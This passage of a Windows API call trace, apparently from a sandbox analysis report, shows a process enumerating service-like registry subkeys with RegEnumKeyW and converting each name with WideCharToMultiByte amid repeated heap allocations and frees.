lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.857] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0234.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0234.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.861] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.861] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.861] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.861] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0234.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.862] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.862] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.862] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0234.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.863] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 